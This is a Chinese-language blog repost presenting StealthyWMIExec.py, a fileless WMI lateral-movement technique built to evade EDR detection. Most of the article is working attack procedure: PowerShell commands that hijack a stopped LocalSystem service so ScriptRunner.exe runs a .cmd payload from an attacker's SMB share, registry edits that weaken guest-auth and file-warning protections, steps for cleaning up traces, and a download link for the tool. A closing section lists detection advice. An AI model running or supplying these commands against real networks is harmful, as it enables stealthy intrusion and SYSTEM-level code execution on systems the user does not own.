文章总结: 本文介绍了一种绕过传统WMIExec检测的无文件横向移动新方法StealthyWMIExec.py,通过修改停止状态的系统服务路径,利用ScriptRunner.exe远程加载SMB共享脚本实现命令执行,全程不写入本地磁盘且自动还原服务痕迹。文章详细阐述了攻击流程、技术亮点,并提供了监控服务行为、注册表修改等防御建议。 综合评分: 85 文章分类: 渗透测试,红队,内网渗透,恶意软件,威胁情报
绕过传统 WMIExec 检测!一种无文件 WMI 横向移动新思路
黑白之道
2026年5月10日 08:20 江西
在小说阅读器读本章
去阅读
传统的 wmiexec.py 凭借 Impacket 框架成为内网横向移动的常用工具,但它的检测特征过于明显—— 依赖 Win32_Process 类的 Create 方法创建进程,执行输出会写入 ADMIN$ 共享,很容易被主流 EDR / 安全设备识别拦截。
能不能做一个不使用 Win32_Process、不写入本地磁盘,同时还能稳定执行命令、回显结果的 WMI 横向移动工具?
本文就带你拆解这种新型隐蔽攻击思路,以及它的实现工具 StealthyWMIExec.py。
核心思路:抛弃老套路,换一种攻击链
传统 WMIExec 缺陷:
- 调用Win32_Process.Create创建进程,特征明显
- 命令输出写入本地磁盘 ADMIN$,留痕严重
- 日志、进程链极易被检测
改进思路:
- 不使用 Win32_Process,改用修改系统服务路径实现执行
- 利用LOLBIN(ScriptRunner.exe) 远程加载 SMB 共享上的脚本
- 全程不写入目标主机本地磁盘
- 命令执行结果直接回传攻击机 SMB 服务
- 执行后还原服务路径,清理痕迹
关键 LOLBIN:ScriptRunner.exe
在 LOLBAS 项目中筛选后,作者选中ScriptRunner.exe,它支持直接执行 SMB 共享上的 cmd 脚本,完美满足无磁盘落地需求。
https://lolbas-project.github.io/lolbas/Binaries/Scriptrunner/
ScriptRunner.exe -appvscript \\192.168.122.126\share\shell.cmd
踩过的坑:两个必须解决的障碍
1. SMB 未经身份验证访客访问被阻止
错误提示:无法访问此共享文件夹,因为你的组织安全策略阻止了未经身份验证的访客访问
Error: You can’t access this shared folder because your organization’s security policies block unauthenticated guest access. These policies help protect your PC from unsafe or malicious devices on the network
解决:修改注册表允许不安全访客认证
HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\ParametersAllowInsecureGuestAuth = 1 (DWORD)
2. Windows 安全警告弹窗阻止执行
直接运行网络脚本会弹出安全提示,导致执行中断。
解决:将 .cmd 加入低风险文件白名单
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\AssociationsLowRiskFileTypes = .cmd
完成这两项配置后,ScriptRunner 即可静默执行远程 SMB 脚本。
攻击核心:修改停止状态的系统服务
要让 LOLBIN 在目标机静默运行,最佳载体是已停止、以 LocalSystem 运行的系统服务。
1. 筛选符合条件的服务
用 WMI 查询:已停止 + 运行身份为 LocalSystem
$TargetService = Get-CimInstance -ClassName Win32_Service -Filter "State='Stopped' AND StartName ='LocalSystem'" | Select-Object -First 1
$TargetService
2. 修改服务 PathName 为攻击载荷
将服务路径替换为我们的攻击载荷:
Invoke-CimMethod -InputObject $TargetService -MethodName Change -Arguments @{ PathName = "C:\Windows\System32\scriptrunner.exe -appvscript \\192.168.122.126\share\shell.cmd"}
- 启动服务触发执行
Invoke-CimMethod -InputObject $TargetService -MethodName StartService
LocalSystem 权限可直接访问 SMB 并执行脚本,无需访客认证,攻击成功率大幅提升。
StealthyWMIExec.py 完整工作流程
这个基于 Impacket 开发的工具,完整实现了上述攻击链,全程自动化:
- 启动 SMB 服务:在攻击机开启 SMB 共享,存放 payload 与接收回显
- 远程检查注册表:确认.cmd 已加入 LowRiskFileTypes 白名单,没有则自动配置
- WMI 查询服务:查找 Stopped+LocalSystem 服务
- 备份并修改服务路径:替换为 ScriptRunner + SMB 远程脚本
- 生成 payload:创建 .cmd 执行指定命令,结果写入 SMB 共享
- 启动服务执行:命令运行后回传结果到攻击机
- 自动还原服务路径:攻击结束恢复原始 PathName,消除痕迹
- 读取并展示结果:输出 whoami、hostname 等执行结果
技术亮点与防御建议
技术亮点
- 无磁盘文件落地,全程远程加载
- 不使用 Win32_Process,绕过传统 WMI 执行检测
- 默认获得 LocalSystem 高权限
- 执行后自动还原服务,痕迹极低
- 依托系统自带 LOLBIN,不易被判定恶意
防御与检测建议
- 监控 ScriptRunner.exe 异常启动,尤其带 -appvscript + 远程路径
- 审计系统服务 PathName 的异常修改行为
- 禁用不必要的 AllowInsecureGuestAuth
- 限制从远程 SMB 共享直接执行 .cmd / .ps1 脚本
- 监控 WMI 对 Win32_Service 的 Change 和 StartService 调用
- 开启服务关键路径注册表监控
这套 “服务劫持 + LOLBIN + 无文件 WMI 横向” 的组合,已经明显跳出了传统 wmiexec 的检测范式。对防守方来说,只盯着 Win32_Process 已经不够,必须从服务行为、注册表、LOLBIN 调用多个维度联动分析。
最后
关于这个新型隐蔽的WMI横向移动攻击思路的详细原理建议可以去看下作者原文:
https://ghaleb0x317374.github.io/2026/03/15/Stealthy-WMI-lateral-movement-StealthyWMIExec.py.html
这个工具项目地址可通过以下方式获取!!!
下载地址
https://github.com/Ghaleb0x317374/StealthyWMIExec.py
文章来源:Hack分享吧
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:黑白之道 《绕过传统 WMIExec 检测!一种无文件 WMI 横向移动新思路》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论